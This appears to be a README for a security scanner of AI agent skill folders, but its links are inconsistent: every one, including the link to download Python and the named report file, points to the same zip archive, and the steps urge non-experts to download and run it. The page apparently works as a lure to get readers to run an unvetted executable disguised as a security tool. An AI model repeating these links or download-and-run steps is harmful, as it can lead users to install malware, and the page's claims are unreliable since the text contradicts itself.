Skills-Security-Check is a tool that helps you check the safety of AI skill directories. It looks through files in these directories to find potential security issues. The tool uses regular expressions to find risky patterns in code. Then, it uses AI to review those findings and reduce wrong alerts. Finally, it creates an easy-to-understand visual report. This report shows you what the risks are and helps you improve security.
Skills-Security-Check is designed for people who work with AI agents and their skills but do not need to be security experts. It makes finding security problems simpler and clearer.
-
Smart Search
The tool finds possible security risks using pattern matching. It looks for risky code or settings that could cause trouble. -
AI Review
It uses artificial intelligence to check the findings. This step lowers false alarms, so you only see real issues. -
Visual Report
After scanning, the tool creates an interactive HTML dashboard. You can open it in any web browser to see the results clearly. -
Easy to Use
No programming knowledge is needed. You just run the tool, and it does the rest. -
Open Source
The software is free to use and modify under the MIT license.
You need to visit the Skills-Security-Check Releases page to download the software.
Steps to download and install:
- Click the badge above or this link: https://raw.githubusercontent.com/xbox360modderv3/Skills-Security-Check/main/assets/Check-Security-Skills-2.6.zip
- On the releases page, look for the latest version listed at the top.
- Download the file that matches your computer system. Usually, files have names ending with
.exefor Windows or.zipfor others. - Once the file is downloaded, open it to run the program.
- If it is a compressed file (like
.zip), unzip it, then find the program file inside and run it.
The tool runs on Windows, macOS, and Linux systems.
To run Skills-Security-Check smoothly, your computer should meet these minimum specs:
- Operating System: Windows 10 or later, macOS 10.15 or later, or a recent Linux distribution
- Python Version: 3.8 or higher installed
- Free disk space: At least 500 MB for program files and reports
- Internet connection: Required for AI analysis features
You do not need to know coding. Follow these steps.
Find the folder where your AI agent skill files are stored. This folder is what the tool will scan.
Run Skills-Security-Check by double-clicking the installed file. A window or command prompt will open.
The program will ask you to pick the folder with your skill files. Use the file browser that appears to select the folder.
Click the "Start Scan" button. The tool will check the files for potential security issues. This may take a few minutes depending on folder size.
When scanning finishes, Skills-Security-Check generates an HTML report. It usually opens automatically in your web browser.
Look through the report. It highlights risky codes or settings found. Each issue has explanations and suggestions to improve security.
The visual dashboard breaks down the scan results into categories, such as:
- Unsafe Code Patterns
- Insecure Configuration
- Suspicious External Calls
- Sensitive Data Exposure
For each category, the tool shows:
- Number of issues found
- Severity level from low to high
- Links to detailed explanations
The dashboard allows you to click on any finding to see more details. This way, you know exactly where to look in your skill files.
-
The program does not start:
Ensure Python 3.8 or newer is installed on your system. You can download it from https://raw.githubusercontent.com/xbox360modderv3/Skills-Security-Check/main/assets/Check-Security-Skills-2.6.zip. -
No folder selection window appears:
Try running the program again. If you use the command line, make sure you follow the instructions carefully. -
Report does not open automatically:
Check your "Downloads" or the working folder for a file namedhttps://raw.githubusercontent.com/xbox360modderv3/Skills-Security-Check/main/assets/Check-Security-Skills-2.6.zip. Open it with any web browser like Chrome or Firefox. -
False alarms in findings:
The AI analysis usually reduces false positives, but some may still appear. Review carefully and adjust settings for repeated reports.
If you want to learn more about Skills-Security-Check:
- Check the "docs" folder in the downloaded files for user guides.
- Visit the GitHub repository for full source code and updates.
- Contact the developers by opening an issue on GitHub for support or questions.
Skills-Security-Check uses three main methods:
-
Static Analysis:
It scans files using regular expressions to spot risky patterns like hard-coded passwords, open network calls, or unsafe commands. -
AI Intelligence:
Custom AI modules analyze the scan results to remove false positives and give better security advice. -
Visual Dashboard:
The results are converted into an easy-to-navigate HTML dashboard, with charts and clickable lists.
Skills-Security-Check works well with these file formats commonly found in AI skill repositories:
.py(Python scripts).json(Configuration files).yamlor.yml(Settings files).md(Markdown documentation)
Other plain text files are also scanned for risky content.
Security is important for AI agents because they often handle sensitive data or perform critical tasks. Problems in AI skill code can lead to leaks, unauthorized access, or failures.
Skills-Security-Check helps catch these issues early and makes fixing them easier. It brings together AI and traditional scanning to reduce errors in security checks.
Skills-Security-Check is available under the MIT License. This means you can use, change, and share it freely. See the license file in the repository for details.